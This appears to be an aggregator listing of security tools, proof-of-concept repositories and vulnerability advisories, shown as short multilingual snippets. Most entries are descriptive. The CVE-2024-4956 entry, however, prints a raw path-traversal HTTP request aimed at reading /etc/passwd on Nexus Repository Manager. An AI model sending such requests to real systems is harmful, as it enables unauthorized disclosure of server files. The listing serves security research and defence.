pytm

pytm: 위협 모델링을 위한 파이썬 프레임워크 소개 전통적인 위협 모델링은 너무 늦게 도입되거나 전혀 도입되지 않는 경우가 많습니다. 또한 수동 데이터 흐름 및 보고서 작성은 매우 시간이 많이 소요될 수 있습니다. pytm의 목표는 위협 모델링을 왼쪽으로 이동시켜 더 자동화되고 개발자 중심으로 만드는 것입니다. 기능 입력 및 아키텍처 설계 정의를 기반으로 pytm은 다음 항목을 자동으로 생성할 수 있습니다: 데이터 흐름 다이어그램DFD 시퀀스 다이어그램 시스템 관련 위협 요구 사항 Linux/MacOS Python 3.11+...

pytm

pytm: 위협 모델링을 위한 파이썬 기반 프레임워크 소개 전통적인 위협 모델링은 너무 늦게 도입되거나 때로는 전혀 이루어지지 않는 경우가 많습니다. 또한 수동으로 데이터 흐름과 보고서를 작성하는 것은 매우 시간이 많이 소요됩니다. pytm의 목표는 위협 모델링을 개발 초기 단계로 옮겨, 보다 자동화되고 개발자 중심적으로 만드는 것입니다. 기능 아키텍처 설계에 대한 입력과 정의를 기반으로 pytm은 다음 항목을 자동으로 생성할 수 있습니다: 데이터 흐름 다이어그램 DFD 시퀀스 다이어그램 시스템에 관련된 위협 요구 사항...

pytm

pytm: A Pythonic framework for threat modeling Introduction Traditional threat modeling too often comes late to the party, or sometimes not at all. In addition, creating manual data flows and reports can be extremely time-consuming. The goal of pytm is to shift threat modeling to the left, making...

Absolutely-Positively-NOT-Hacking-Back-with-Pcap

絶対にPcapでハッキングバックしない 予期しないネットワークバイト列をストリーミングして、攻撃者のコマンド＆コントロールノードを高確率でブルースクリーンまたはクラッシュさせる これは TheSAS2019 で発表されました: https://www.youtube.com/watch?v=Z1-4-amGdaM...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

haptyc

Haptyc Test Generation Framework What's Haptyc? Haptyc is a python library which was built to add payload position support and Sniper/Clusterbomb/Batteringram/Pitchfork attack types into Turbo Intruder. While Haptyc accomplishes these goals fairly well it also introduces a simpler way to express...

LAB-DFIR-cve-2023-38831

LAB-DFIR-cve-2023-38831 이 랩은 CVE-2023–38831 공격을 시뮬레이션하며 디스크 이미지를 조사해야 합니다. 또한 Windows 레지스트리, NTFS 파일, 캐시 브라우저에 대한 이해와 이벤트 순서에서 Windows에서 나오는 함수들에 대한 완전한 이해를 포함한 다양한 질문이 포함되어 있습니다. 이것은 챌린지의 해결 방법과 설명입니다. 링크 :- https://medium.com/@ra3ed.uoro/dfir-actf-e24a21838bde...

bst

Binary String Toolkit Summary The Binary String Toolkit or BST for short is a rather simple utility to convert binary strings to various formats suitable for inclusions in source codes, such as those used to develop exploits and Proof of Concepts in the security field. Features Convert and dump...

ML-for-RNGs

ML-for-RNGs 使用机器学习预测RNG序列...

CVE-2026-23010-CCSDS-Telecommand-Replay-Without-Sequence-Number

CVE-2026-23010 – シーケンス番号なしのCCSDSテレコマンドリプレイ プログラムコード（Python衛星シミュレータ） satellitesim.py - Spacecraft that executes telecommands without checking sequence number class Satellite: def initself: self.executed = set def receivetcself, cmdid, seqnum: Vulnerability: ignores seqnum, allowing replay of same...

Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint

SummaryThe /csp endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print without escaping control characters.A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an...

ReplicatedRandom

Node MWC1616 node フォルダの README を参照してください Java LCG java.util.Random の nextDouble から生成された double が与えられた場合、同じ状態を持つ Random を再現します。この ReplicatedRandom は、元の Random の将来の値を予測するために使用できます。 例: Random r = new Random; ReplicatedRandom rr = new ReplicatedRandom; rr.replicateStater.nextDouble;...

mountain_goat

こんにちは、私はヤギです。これからあなたのTCP接続に体当たりします。だって、それは とてもヤギらしいことですから。 これは、CVE-2016-5696 を悪用する手法を実証する PoC です。Off-Path TCP Exploits: Global Rate Limit Considered Dangerous 著者は Yue Cao、Zhiyun Qian、Zhongjie Wang、Tuan Dao、Srikanth V. Krishnamurthy、Lisa M. Marvel で、USENIX 25th Security Symposium で発表されました。...

CVE-2026-103431

colmux in collectl before 4.3.20.2 does not sanitize ANSI/VT100 terminal escape sequences in data received from remote collectl instances before displaying it, allowing a local user on a monitored host to inject escape sequences into the terminal of an operator running colmux, via a crafted proce...

EUVD-2026-90576

colmux in collectl before 4.3.20.2 does not sanitize ANSI/VT100 terminal escape sequences in data received from remote collectl instances before displaying it, allowing a local user on a monitored host to inject escape sequences into the terminal of an operator running colmux, via a crafted proce...

CVE-2026-103431

The collectl utility, specifically the colmux component in versions before 4.3.20.2 , fails to sanitize ANSI/VT100 terminal escape sequences in data received from remote collectl instances. A local user on a monitored host can exploit this by providing a crafted process name (argv[0]) to inject e...

A Structured State Space Sequence Model for Multi-Class Classification of Malware

By 2030, Internet of Things IoT devices are projected to reach 40 billion, with fast-paced technological advancements in fields such as industry, healthcare, agriculture, automobiles, and building/home automation systems. This expansion has created a large attack surface for cybercrime, as the...

Rocky Linux 8 [CIQ] Security Update: edk2-aarch64 / edk2-ovmf Multiple Vulnerabilities (crlsa-2024_5297)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20245297 advisory. edk2: Predictable TCP Initial Sequence Numbers CVE-2023-45236 edk2: Use of a Weak PseudoRandom Number Generator CVE-2023-45237 edk2: Temporary DoS...

AlmaLinux 9.2 [TuxCare] Security Update: edk2-aarch64 / edk2-ovmf / edk2-tools / edk2-tools-doc Multiple Vulnerabilities (ALMALINUX9.2:CLSA-2025:1764062286)

The AlmaLinux 9.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1764062286 advisory. - EDK2's Network Package is susceptible to a predictable TCP Initial Sequence Number. This vulnerability can be exploited by an...

cve-2021-41773-exploration

概要 CVE-2021-41773 は、2021年10月に Apache HTTP Server 2.4.49 で発見されたパストラバーサルの脆弱性です。根本原因は、要求されたパスが Web ルート内に収まっているかを確認する前に、URL 内のドットシーケンスを適切に正規化できなかったことにあります。この脆弱性により、攻撃者は Web ルートを抜け出してサーバのファイルシステム上の任意のファイルにアクセスすることが可能となり、一部のケースではリモートコード実行にまでエスカレーションする可能性がありました。 この検証で実証する2つの攻撃ベクトル パストラバーサル:...